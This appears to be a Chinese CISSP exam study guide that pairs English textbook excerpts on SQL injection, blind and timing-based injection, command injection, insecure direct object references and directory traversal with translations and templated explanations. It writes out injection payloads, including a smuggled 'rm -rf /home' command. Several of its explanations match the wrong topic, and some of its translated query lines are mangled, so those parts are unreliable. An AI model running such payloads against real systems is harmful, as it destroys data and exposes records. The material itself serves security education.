冗余、备份、BCP/DRP、抗 DoS、容量规划都对应可用性。

Step-by-step、SOP 常对应 procedure。

SQL 注入、命令注入常靠输入验证、参数化查询防御。

排除法提醒:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

本页术语拆解
机密性 机密性让该看的人能看,不该看的人看不到。
完整性 完整性保证数据没有被未授权修改,并且仍然正确可信。
可用性 可用性保证授权用户需要时能及时使用系统和数据。
程序 程序是一步一步怎么做。
注入攻击 注入攻击把恶意输入当命令或查询执行。
学习单元 28 / PDF P1422

第 1422 页学习单元

这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

教材原文段落

When a user enters an account number into that page, they would next see a listing of the information associated with that account, as shown in Figure 21.2. FIGURE 21.2 Account information page The SQL query supporting this application might be something similar to this: SELECT FirstName, LastName, Balance FROM Accounts WHERE AccountNumber = '$account'; where the $account field is populated from the input field in Figure 21.1.

In this scenario, an attacker could test for a standard SQL injection vulnerability by placing the following input in the account number field: 52019' OR 1=1;-- If successful, this would result in the following query being sent to the database: SELECT FirstName, LastName, Balance FROM Accounts WHERE AccountNumber = '52019' OR 1=1; --'

中文直译 / 整理

当用户在该页面中输入账户号码后,接下来会看到与该账户相关的信息列表, 如下图所示图21.2。 图 21.2账户信息页面 支持此应用程序的 SQL 查询可能类似于以下内容: SELECT FirstName, LastName, Balance FROM Accounts WHERE AccountNumber = '$account'; 其中 $account 字段来自 图 21.1中的输入字段。 在这种情况下,攻击者可以在 账户号码字段中输入以下内容以测试标准的 SQL 注入漏洞: 52019' OR 1=1;‑‑ 如果成功,这将导致以下查询被发送到数据库: 选择 FirstName, LastName, Balance 从 Accounts 中 WHERE AccountNumber = '52019' 或 1=1; ‑‑'

小白解释

场景先行:开发团队要上线登录功能。安全不是上线前扫一下漏洞,而是从需求、设计、编码、测试、发布到运维都要参与。

这一页真正想让你理解的是:这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

把它放进公司里看,关键不是背定义,而是判断:安全太晚介入,修复成本高,还可能把漏洞带到生产环境。

你作为负责人可以这样想:在 SDLC 早期做威胁建模、代码审查、测试和发布控制。

本页术语用人话说:

标准:标准给出必须满足的最低要求。

程序:程序是一步一步怎么做。

注入攻击:注入攻击把恶意输入当命令或查询执行。

常见误区:不要只靠上线前一次扫描;安全要嵌入整个生命周期。

读完后用一句话复述:如果我是应用安全负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“第 1422 页学习单元”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是应用安全负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

Minimum level、mandatory requirement 常对应 standard。

Step-by-step、SOP 常对应 procedure。

SQL 注入、命令注入常靠输入验证、参数化查询防御。

排除法提醒:不要只靠上线前一次扫描;安全要嵌入整个生命周期。

本页术语拆解
标准 标准给出必须满足的最低要求。
程序 程序是一步一步怎么做。
注入攻击 注入攻击把恶意输入当命令或查询执行。
学习单元 29 / PDF P1423

第 1423 页学习单元

这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

教材原文段落

This SELECT query, which includes the OR 1=1 condition, would match all results. However, the design of the web application may ignore any query results beyond the first row. If this is the case, the query would display the same results as shown in Figure 21.2. Although the attacker may not be able to see the results of the query, that does not mean the attack was unsuccessful. However, with such a limited view into the application, it is difficult to distinguish between a well-defended application and a successful attack. The last line of the query, --', is ignored by the database because the -- character sequence indicates a comment that should be ignored during execution.

The purpose of including it in the query is to avoid an error that might be introduced by the leftover apostrophe in the query template. The attacker can perform further testing by taking input that is known to produce results, such as providing the account number 52019 from Figure 21.2 and using SQL that modifies that query to return no results.

For example, the attacker could provide this input to the field: 52019' AND 1=2;-- If the web application is vulnerable to blind SQL injection attacks, it would send the following query to the database: SELECT FirstName, LastName, Balance FROM Accounts WHERE AccountNumber = '52019' AND 1=2; --' This query, of course, never returns any results, because 1 is never equal to 2. Therefore, the web application would return a page with no results, such as the one shown in Figure 21.3.

If the attacker sees this page, they can be reasonably sure that the application is vulnerable to blind SQL injection and can then attempt more malicious queries that alter the contents of the database or perform other unwanted actions.

中文直译 / 整理

此SELECT 查询包含 OR 1=1 条件,将匹配所有结果。 然而,Web 应用程序的 设计可能会忽略第一行之后的任何查询结果。 如果确实如此,该查询将显示 与图 21.2中所示相同的结果。 尽管攻击者可能无法看到查询结果,但这并不 意味着攻击未成功。 然而,由于对应用程序的了解极为有限,很难区分一个 防御良好的应用和一次成功的攻击。 查询的最后一行 --' 会被数据库忽略,因为 -- 字符序列表示在执行期间应 被忽略的注释。 在查询中包含它的目的是避免查询模板中残留的撇号引发错 误。 攻击者可以通过提供已知会产生结果的输入来进一步测试,例如提供账户号 码 52019 来自 图 21.2,并使用修改该查询以返回 无 结果的 SQL。

例如, 攻击者可以在字段中提供以下输入: 52019' AND 1=2;‑‑ 如果 Web 应用程序易受盲 SQL 注入攻击,它将向数据库发送以下查询: SELECT FirstName, LastName, Balance FRO M Accounts WHERE AccountNumber = ' 52019' AND 1=2; ‑‑' 此查询当然不会返回任何结果,因为 1 永远不等于 2。 因此,Web 应用程序将 返回一个无结果的页面,例如图 图 21.3所示。 如果攻击者看到此页面,他们可 以合理地确定应用程序存在盲 SQL 注入漏洞,进而尝试更恶意的查询,以更改 数据库内容或执行其他不需要的操作。

小白解释

场景先行:机房断电,业务部门问多久能恢复、最多会丢多少数据。BCP/DRP 不是背缩写,而是把业务能承受的中断时间和数据损失说清楚。

这一页真正想让你理解的是:这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

把它放进公司里看,关键不是背定义,而是判断:只做备份但没测试,真正灾难时可能恢复不了。

你作为负责人可以这样想:先做业务影响分析,再定 RTO/RPO,最后设计备份、冗余和演练。

本页术语用人话说:

程序:程序是一步一步怎么做。

恢复点目标 RPO:RPO 是最多能接受丢失多少时间范围的数据。

注入攻击:注入攻击把恶意输入当命令或查询执行。

常见误区:RTO 问时间,RPO 问数据;这两个不要混。

读完后用一句话复述:如果我是业务连续性负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“第 1423 页学习单元”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是业务连续性负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

Step-by-step、SOP 常对应 procedure。

RPO 问数据:最多丢到哪个时间点。

SQL 注入、命令注入常靠输入验证、参数化查询防御。

排除法提醒:RTO 问时间,RPO 问数据;这两个不要混。

本页术语拆解
程序 程序是一步一步怎么做。
恢复点目标 RPO RPO 是最多能接受丢失多少时间范围的数据。
注入攻击 注入攻击把恶意输入当命令或查询执行。
学习单元 30 / PDF P1424

第 1424 页学习单元

这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

教材原文段落

FIGURE 21.3 Account information page after blind SQL injection Blind Timing-Based SQL Injection In addition to using the content returned by an application to assess susceptibility to blind SQL injection attacks, penetration testers may use the amount of time required to process a query as a channel for retrieving information from a database. These attacks depend on delay mechanisms provided by different database platforms. For example, Microsoft SQL Server's Transact-SQL allows a user to specify a command such as this: WAITFOR DELAY '00:00:15' This would instruct the database to wait 15 seconds before performing the next action.

An attacker seeking to verify whether an application is vulnerable to time-based attacks might provide the following input to the account ID field: 52019'; WAITFOR DELAY '00:00:15'; -- An application that immediately returns the result shown in Figure 21.2 is probably not vulnerable to timing-based attacks. However, if the application returns the result after a 15-second delay, it is likely vulnerable.

中文直译 / 整理

图 21.3盲 SQL 注入后的账户信息页面 基于时间的盲SQL注入 除了使用应用程序返回的内容来评估盲SQL注入攻击的脆弱性外,渗透测试人 员还可以利用查询处理所需的时间作为从数据库中检索信息的通道。 这些攻击依赖于不同数据库平台提供的延迟机制。 例如,Microsoft SQL Server的Transact‑SQL允许用户指定如下命令: WAITFOR DELAY '00:00:15' 这将指示数据库在执行下一步操作前等待15秒。 攻击者若要验证应用程序是否 易受基于时间的攻击,可能会在账户ID字段中提供以下输入: 52019'; WAITFOR DELAY '00:00:15'; ‑‑ 一个立即返回图中所示结果的应用程序图 21.2可能不容易受到基于时间的攻 击。 然而,如果应用程序在15秒延迟后才返回结果,则很可能存在漏洞。

小白解释

场景先行:开发团队要上线登录功能。安全不是上线前扫一下漏洞,而是从需求、设计、编码、测试、发布到运维都要参与。

这一页真正想让你理解的是:这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

把它放进公司里看,关键不是背定义,而是判断:安全太晚介入,修复成本高,还可能把漏洞带到生产环境。

你作为负责人可以这样想:在 SDLC 早期做威胁建模、代码审查、测试和发布控制。

本页术语用人话说:

渗透测试:渗透测试让可信团队模拟攻击,验证真实防护能不能扛住。

程序:程序是一步一步怎么做。

渗透测试:渗透测试在授权范围内模拟攻击验证风险。

注入攻击:注入攻击把恶意输入当命令或查询执行。

常见误区:不要只靠上线前一次扫描;安全要嵌入整个生命周期。

读完后用一句话复述:如果我是应用安全负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“第 1424 页学习单元”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是应用安全负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

渗透测试通常比漏洞扫描更深入,但也更需要授权和范围控制。

Step-by-step、SOP 常对应 procedure。

渗透测试需要书面授权、范围和规则。

SQL 注入、命令注入常靠输入验证、参数化查询防御。

排除法提醒:不要只靠上线前一次扫描;安全要嵌入整个生命周期。

本页术语拆解
渗透测试 渗透测试让可信团队模拟攻击,验证真实防护能不能扛住。
程序 程序是一步一步怎么做。
渗透测试 渗透测试在授权范围内模拟攻击验证风险。
注入攻击 注入攻击把恶意输入当命令或查询执行。
学习单元 31 / PDF P1425

第 1425 页学习单元

这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

教材原文段落

This might seem like a strange attack, but it can actually be used to extract information from the database. For example, imagine that the Accounts database table used in the previous example contains an unencrypted field named Password. An attacker could use a timing-based attack to discover the password by checking it letter by letter. The SQL to perform a timing-based attack is a little complex and you won't need to know it for the exam.

Instead, here's some pseudocode that illustrates how the attack works conceptually: For each character in the password For each letter in the alphabet If the current character is equal to the current letter, wait 15 seconds before returning results In this manner, an attacker can cycle through all of the possible password combinations to ferret out the password character by character. This may seem very tedious, but security tools like sqlmap and Metasploit automate blind timing-based attacks, making them quite straightforward. Code Injection Attacks SQL injection attacks are a specific example of a general class of attacks known as code injection attacks.

These attacks seek to insert attacker-written code into the legitimate code created by a web application developer. Any environment that inserts user-supplied input into code written by an application developer may be vulnerable to a code injection attack. Similar attacks may take place against other environments. For example, attackers might embed commands in text being sent as part of a Lightweight Directory Access Protocol (LDAP) query, conducting an LDAP injection attack. In this type of injection attack, the focus of the attack is on the backend of an LDAP directory service rather than a database server.

If a web server front end uses a script to craft LDAP statements based on input from a user, then LDAP injection is potentially a threat. Just as with a SQL injection, validation and escaping of input and defensive coding are essential to eliminate this threat. XML injection is another type of injection attack, where the backend target is an XML application. Again, input escaping and validation combats this threat. Commands may even attempt to load dynamically linked libraries (DLLs) containing malicious code in a DLL injection attack.

中文直译 / 整理

这看起来可能像一种奇怪的攻击,但实际上它可以用于从数据库中提取信息。 例如,假设前一个示例中使用的Accounts数据库表包含一个名为Password的 未加密字段。 攻击者可以使用基于时间的攻击,通过逐个字符检查来发现密码。 用于执行基于时间的攻击的SQL语句稍微复杂一些,考试时你不需要掌握它。 相反,以下是说明该攻击概念性原理的伪代码: 对于密码中的每个字符,遍历字母表中的每个字母:如果当前字符等于当前字母,则在返回结果 前等待15秒 通过这种方式,攻击者可以遍历所有可能的密码组合,逐字符破解密码。 这 看似非常繁琐,但像sqlmap和Metasploit这样的安全工具可以自动化执行 盲目的基于时间的攻击,使其变得相当简单。 代码注入攻击 SQL注入攻击是称为代码注入攻击的一类通用攻击的特例。 这些攻击旨在将攻 击者编写的代码插入到Web应用程序开发者编写的合法代码中。 任何将用户提 供的输入插入到应用程序开发者编写的代码中的环境,都可能面临代码注入攻 击的风险。 类似的攻击也可能发生在其他环境中。 例如,攻击者可能在作为轻量级目录访 问协议(LDAP)查询一部分发送的文本中嵌入命令,从而实施LDAP注入攻击。

在这种类型的注入攻击中,攻击重点在于LDAP目录服务的后端,而非数据库 服务器。 如果Web服务器前端使用脚本根据用户输入构建LDAP语句,则 LDAP注入可能构成威胁。 与SQL注入一样,输入验证、转义和防御性编码对 于消除这一威胁至关重要。 XML注入是另一种注入攻击类型,其后端目标是一个XML应用程序。 同样,输 入转义和验证可以抵御这种威胁。 命令甚至可能尝试加载包含恶意代码的动态 链接库(DLL),这称为DLL注入攻击。

小白解释

场景先行:开发团队要上线登录功能。安全不是上线前扫一下漏洞,而是从需求、设计、编码、测试、发布到运维都要参与。

这一页真正想让你理解的是:这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

把它放进公司里看,关键不是背定义,而是判断:安全太晚介入,修复成本高,还可能把漏洞带到生产环境。

你作为负责人可以这样想:在 SDLC 早期做威胁建模、代码审查、测试和发布控制。

本页术语用人话说:

加密:加密把内容变成未授权者看不懂的形式。

程序:程序是一步一步怎么做。

注入攻击:注入攻击把恶意输入当命令或查询执行。

恶意代码:恶意代码包括病毒、蠕虫、木马、勒索软件等。

常见误区:不要只靠上线前一次扫描;安全要嵌入整个生命周期。

读完后用一句话复述:如果我是应用安全负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“第 1425 页学习单元”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是应用安全负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

加密主要保护机密性,也可配合签名、哈希支持完整性和真实性。

Step-by-step、SOP 常对应 procedure。

SQL 注入、命令注入常靠输入验证、参数化查询防御。

防恶意代码要结合补丁、最小权限、检测、备份和用户培训。

排除法提醒:不要只靠上线前一次扫描;安全要嵌入整个生命周期。

本页术语拆解
加密 加密把内容变成未授权者看不懂的形式。
程序 程序是一步一步怎么做。
注入攻击 注入攻击把恶意输入当命令或查询执行。
恶意代码 恶意代码包括病毒、蠕虫、木马、勒索软件等。
学习单元 32 / PDF P1426

第 1426 页学习单元

这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

教材原文段落

Cross-site scripting is an example of a code injection attack that inserts script code written by an attacker into the web pages created by a developer. We'll discuss cross-site scripting in detail later in this chapter. Command Injection Attacks In some cases, application code may reach back to the operating system to execute a command. This is especially dangerous because an attacker might exploit a flaw in the application and gain the ability to directly manipulate the operating system. For example, consider the simple application shown in Figure 21.4. FIGURE 21.4 Account creation page This application sets up a new student account for a course.

Among other actions, it creates a directory on the server for the student. On a Linux system, the application might use a system() call to send the directory creation command to the underlying operating system. For example, if someone fills in the text box with: mchapple the application might use the function call: system('mkdir /home/students/mchapple') to create a home directory for that user. An attacker examining this application might guess that this is how the application works and then

中文直译 / 整理

跨站脚本攻击是代码注入攻击的一个例子,攻击者将自己编写的脚本代码插入 到开发者创建的网页中。 我们将在本章后面详细讨论跨站脚本攻击。 命令注入攻击 在某些情况下,应用程序代码可能会返回到操作系统以执行命令。 这尤其危险, 因为攻击者可能利用应用程序中的漏洞,获得直接操纵操作系统的权限。 例如, 考虑下面所示的简单应用程序图21.4。 图21.4账户创建页面 该应用程序为课程创建一个新的学生账户。 除了其他操作外,它还会在服 务器上为学生创建一个目录。 在Linux系统上,应用程序可能会使用 system()调用将目录创建命令发送到底层操作系统。 例如,如果某人在文 本框中输入: mchapple 应用程序可能会使用以下函数调用: system('mkdir /home/students/mchapple') 为该用户创建一个主目录。 攻击者在检查此应用程序时可能会猜测这就是应 用程序的工作方式,然后

小白解释

场景先行:开发团队要上线登录功能。安全不是上线前扫一下漏洞,而是从需求、设计、编码、测试、发布到运维都要参与。

这一页真正想让你理解的是:这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

把它放进公司里看,关键不是背定义,而是判断:安全太晚介入,修复成本高,还可能把漏洞带到生产环境。

你作为负责人可以这样想:在 SDLC 早期做威胁建模、代码审查、测试和发布控制。

本页术语用人话说:

程序:程序是一步一步怎么做。

注入攻击:注入攻击把恶意输入当命令或查询执行。

常见误区:不要只靠上线前一次扫描;安全要嵌入整个生命周期。

读完后用一句话复述:如果我是应用安全负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“第 1426 页学习单元”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是应用安全负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

Step-by-step、SOP 常对应 procedure。

SQL 注入、命令注入常靠输入验证、参数化查询防御。

排除法提醒:不要只靠上线前一次扫描;安全要嵌入整个生命周期。

本页术语拆解
程序 程序是一步一步怎么做。
注入攻击 注入攻击把恶意输入当命令或查询执行。
学习单元 33 / PDF P1427

认证:证明身份

认证回答“你是不是你声称的那个人”。

教材原文段落

supply the input: mchapple & rm -rf /home which the application then uses to create the system call: system('mkdir /home/students/mchapple & rm -rf /home') This sequence of commands deletes the /home directory along with all files and subfolders it contains. The ampersand in this command indicates that the operating system should execute the text after the ampersand as a separate command. This allows the attacker to execute the rm command by exploiting an input field that is only intended to execute a mkdir command.

Exploiting Authorization Vulnerabilities We've explored injection vulnerabilities that allow an attacker to send code to backend systems and authentication vulnerabilities that allow an attacker to assume the identity of a legitimate user. Let's now take a look at some authorization vulnerabilities that allow an attacker to exceed the level of access that they are authorized. OWASP The Open Worldwide Application Security Project (OWASP) is a nonprofit security project focused on improving security for online or web-based applications.

OWASP is not just an organization—it is also a large community that works together to freely share information, methodology, tools, and techniques related to better coding practices and more secure deployment architectures. For more information on OWASP and to participate in the community, visit http://owasp.org. OWASP also maintains a top 10 list of the most critical web application security risks at https://owasp.org/www-project-top-ten and the top 10 proactive controls to protect against application security issues at https://owasp.org/www-project-proactive-controls.

Both of these web pages would be a reasonable starting point for planning a security evaluation or penetration test of an organization's web services. Insecure Direct Object References

中文直译 / 整理

提供输入: mchapple & rm ‑rf /home 应用程序随后使用它来创建系统调用: system('mkdir /home/students/mchapple & rm ‑rf /home') 这一系列命令会删除/home目录及其包含的所有文件和子文件夹。 此命令中的与 号表示操作系统应将与号后的文本作为独立命令执行。 这使得攻击者能够通过 利用仅用于执行mkdir命令的输入字段来执行rm命令。 利用授权漏洞 我们已经探讨了允许攻击者向后端系统发送代码的注入漏洞,以及允许攻击者 冒充合法用户身份的认证漏洞。 现在让我们来看看一些允许攻击者超越其授权 访问级别的授权漏洞。 OWASP 开放Web应用程序安全项目(OWASP)是一个非营利性安全项目,致力于 提高在线或基于Web应用程序的安全性。 OWASP不仅是一个组织,也是一 个庞大的社区,共同协作免费共享信息, 与更优编码实践和更安全的部署架构相关的方法、工具和技术。 有关 OWASP的更多信息及参与社区,请访问http://owasp.org。

OWASP还维护着最严重的Web应用程序安全风险的前十名列表,位于 https://owasp.org/www-project-top-ten,以及保护应用程序安全问题的十大主动 控制措施,位于 https://owasp.org/www-project-proactive-controls. 这两个网页都可以作为规划对组织Web服务进行安全评估或渗透测试的合理起 点。 不安全的直接对象引用

小白解释

场景先行:新员工入职后要登录系统。第一步是声明身份,第二步证明身份,第三步决定能访问哪些数据,最后系统要记录他做了什么。IAM 题就是围绕这条链条出题。

这一页真正想让你理解的是:认证回答“你是不是你声称的那个人”。

把它放进公司里看,关键不是背定义,而是判断:认证成功不代表什么都能做;离职、调岗、权限漂移都会造成越权。

你作为负责人可以这样想:把识别、认证、授权、审计分开看,再用最小权限和定期复核收口。

本页术语用人话说:

渗透测试:渗透测试让可信团队模拟攻击,验证真实防护能不能扛住。

认证:认证是验证“你是不是你声称的那个人”。

授权:授权是认证之后决定你能访问什么、能做什么。

程序:程序是一步一步怎么做。

常见误区:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

读完后用一句话复述:如果我是IAM 管理员,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“认证:证明身份”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是IAM 管理员在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

渗透测试通常比漏洞扫描更深入,但也更需要授权和范围控制。

密码、令牌、生物特征、多因素认证都服务认证。

认证成功不等于什么都能做;权限仍要单独授权。

Step-by-step、SOP 常对应 procedure。

身份管理题要区分识别、认证、授权、审计。

排除法提醒:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

本页术语拆解
渗透测试 渗透测试让可信团队模拟攻击,验证真实防护能不能扛住。
认证 认证是验证“你是不是你声称的那个人”。
授权 授权是认证之后决定你能访问什么、能做什么。
程序 程序是一步一步怎么做。
身份 身份是主体在系统中的标识。
渗透测试 渗透测试在授权范围内模拟攻击验证风险。
日志 日志记录系统和用户活动,用于监控、审计和调查。
注入攻击 注入攻击把恶意输入当命令或查询执行。
学习单元 34 / PDF P1428

授权、审计与问责

认证后还要授权,之后靠审计和日志追责。

教材原文段落

In some cases, web developers design an application to directly retrieve information from a database based on an argument provided by the user in either a query string or a POST request. For example, the following query string might be used to retrieve a document from a document management system (replacing [companyname] with the name of the particular organization, of course): https://www.[companyname].com/getDocument.php?documentID=1842 There is nothing wrong with this approach, as long as the application also implements other authorization mechanisms.

The application is still responsible for ensuring that the user is properly authenticated and is authorized to access the requested document. The reason for this is that an attacker can easily view this URL and then modify it to attempt to retrieve other documents, such as in these examples: https://www.mycompany.com/getDocument.php?documentID=1841 https://www.mycompany.com/getDocument.php?documentID=1843 https://www.mycompany.com/getDocument.php?documentID=1844 If the application does not perform authorization checks, the user may be permitted to view information that exceeds their authority. This situation is known as an insecure direct object reference.

Canadian Teenager Arrested for Exploiting Insecure Direct Object Reference In April 2018, Nova Scotia authorities charged a 19-year-old with “unauthorized use of a computer” when he discovered that the website used by the province for handling Freedom of Information requests had URLs that contained a simple integer corresponding to the request ID. After noticing this, the teenager simply altered the ID from a URL that he received after filing his own request and viewed the requests made by other individuals. That's not exactly a sophisticated attack, and many cybersecurity professionals (your authors included) would not even consider it an attempted attack.

Eventually, the authorities recognized that the province IT team was at fault and dropped the charges against the teenager.

中文直译 / 整理

在某些情况下,Web开发人员会设计应用程序,根据用户在查询字符串或 POST请求中提供的参数直接从数据库中检索信息。 例如,以下查询字符串可 用于从文档管理系统中检索文档(当然,需将[companyname] 替换为特定组织 的名称): https://www.[companyname].com/getDocument.php?documentID=1842 这种方法没有问题,只要应用程序还实现了其他授权机制即可。 应用程序 仍需确保用户已正确身份验证,并有权访问所请求的文档。 原因是攻击者可以轻松查看此URL,然后对其进行修改,以尝试获取其他文档, 例如以下示例: https://www.mycompany.com/getDocument.php?documentID=1841 https://www.mycompany.com/getDocument.php?documentID=1843 https://www.mycompany.com/getDocument.php?documentID=1844 如果应用程序未执行授权检查,用户可能被允许查看超出其权限的信息。 这 种情况被称为不安全的直接对象引用。

加拿大青少年因利用不安全的直接对象引用被逮捕 2018年4月,新斯科舍当局指控一名19岁青年“未经授权使用计算机”, 因为他发现该省用于处理信息自由请求的网站所使用的URL中包含一个 对应于请求ID的简单整数。 在注意到这一点后,这名青少年简单地修改了他在提交自己请求后收到的 URL中的ID,从而查看了其他人的请求。 这并非一种复杂的攻击,许多网 络安全专业人员(包括我们的作者)甚至不会将其视为一次尝试性攻击。 最终,当局认识到该省的IT团队存在过错,于是撤销了对这名青少年的指 控。

小白解释

场景先行:新员工入职后要登录系统。第一步是声明身份,第二步证明身份,第三步决定能访问哪些数据,最后系统要记录他做了什么。IAM 题就是围绕这条链条出题。

这一页真正想让你理解的是:认证后还要授权,之后靠审计和日志追责。

把它放进公司里看,关键不是背定义,而是判断:认证成功不代表什么都能做;离职、调岗、权限漂移都会造成越权。

你作为负责人可以这样想:把识别、认证、授权、审计分开看,再用最小权限和定期复核收口。

本页术语用人话说:

授权:授权是认证之后决定你能访问什么、能做什么。

程序:程序是一步一步怎么做。

身份:身份是主体在系统中的标识。

常见误区:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

读完后用一句话复述:如果我是IAM 管理员,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“授权、审计与问责”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是IAM 管理员在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

认证成功不等于什么都能做;权限仍要单独授权。

Step-by-step、SOP 常对应 procedure。

身份管理题要区分识别、认证、授权、审计。

排除法提醒:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

本页术语拆解
授权 授权是认证之后决定你能访问什么、能做什么。
程序 程序是一步一步怎么做。
身份 身份是主体在系统中的标识。
学习单元 35 / PDF P1429

第 1429 页学习单元

这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

教材原文段落

Directory Traversal Some web servers suffer from a security misconfiguration that allows users to navigate the directory structure and access files that should remain secure. These directory traversal attacks work when web servers allow the inclusion of operators that navigate directory paths, and file system access controls don't properly restrict access to files stored elsewhere on the server. For example, consider an Apache web server that stores web content in the directory path /var/www/html/. That same server might store the shadow password file, which contains hashed user passwords, in the /etc directory as /etc/shadow.

Both of these locations are linked through the same directory structure, as shown in Figure 21.5.

中文直译 / 整理

目录遍历 一些Web服务器存在安全配置错误,允许用户浏览目录结构并访问本应受到保 护的文件。 这些目录遍历攻击在Web服务器允许使用导航目录路径的操作符, 而文件系统访问控制未能正确限制对服务器上其他位置存储文件的访问时发生。 例如,考虑一个将网页内容存储在目录路径/var/www/html/中的 Apache Web 服务器。 该服务器可能将包含哈希用户密码的影子密码文件存储在/etc目 录中,路径为/etc/shadow。 这两个位置通过相同的目录结构关联,如图 21.5所 示。

小白解释

场景先行:财务要把合同发给供应商:不想被别人看懂,要加密;不想被人改金额,要校验完整性;不想对方抵赖,要签名和证书。密码学不是炫技,是解决这些业务信任问题。

这一页真正想让你理解的是:这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

把它放进公司里看,关键不是背定义,而是判断:把加密、哈希、签名混在一起,会导致控制目标错位。

你作为负责人可以这样想:机密性用加密,完整性用哈希/签名,身份信任用证书和 PKI。

本页术语用人话说:

哈希:哈希把任意长度数据变成固定长度摘要,用于校验是否被改过。

常见误区:哈希不是加密;签名也不是为了隐藏内容。

读完后用一句话复述:如果我是系统架构师,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“第 1429 页学习单元”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是系统架构师在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

哈希本身不提供机密性;它主要用于完整性校验。

排除法提醒:哈希不是加密;签名也不是为了隐藏内容。

本页术语拆解
哈希 哈希把任意长度数据变成固定长度摘要,用于校验是否被改过。
学习单元 36 / PDF P1430

第 1430 页学习单元

这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

教材原文段落

FIGURE 21.5 Example web server directory structure If the Apache server uses /var/www/html/ as the root location for the website, this is the assumed path for all files unless otherwise specified. For example, if the site was www.mycompany.com, the URL www.mycompany.com/account.php would refer to the file /var/www/html/account.php stored on the server. In Linux operating systems, the .. operator in a file path refers to the directory one level higher than the current directory. For example, the path /var/www/html/../ refers to the directory that is one level higher than the html directory, or /var/www/.

中文直译 / 整理

图 21.5 示例 Web 服务器目录结构 如果 Apache 服务器使用 /var/www/html/ 作为网站的根目录,则在未另行指定的情况下,所 有文件均默认采用此路径。 例如,如果站点为 www.mycompany.com,则 URL www.mycompany.com/account.php 将指向服务器上存储的文件 /var/www/html/account.php。 在 Linux 操作系统中,文件路径中的 .. 操作符表示比当前目录高一级的目 录。 例如,路径 /var/www/html/../ 表示比 html 目录高一级的目录,即 / var/www/。

小白解释

场景先行:你是公司的安全负责人,正在读第 1430 页这一组概念。老板不会问你背定义,而是问:这件事会不会影响业务、谁负责、要不要花钱、出了事能不能解释清楚。

这一页真正想让你理解的是:这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

把它放进公司里看,关键不是背定义,而是判断:概念没放进业务场景,容易只背词,做题时不知道该选管理动作还是技术动作。

你作为负责人可以这样想:先确认业务目标和风险,再选控制措施,最后留下政策、审批、日志或证据。

如果这一页没有明显术语,就按“谁在做事、保护什么、怕什么、用什么控制、留下什么证据”来拆。

常见误区:不要一看到安全题就直接选最强工具;CISSP 更常考“在这个场景下谁该负责、下一步是什么”。

读完后用一句话复述:如果我是安全负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“第 1430 页学习单元”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是安全负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

排除法提醒:不要一看到安全题就直接选最强工具;CISSP 更常考“在这个场景下谁该负责、下一步是什么”。

本页术语拆解

本页没有识别到重点术语,按原文顺序理解即可。

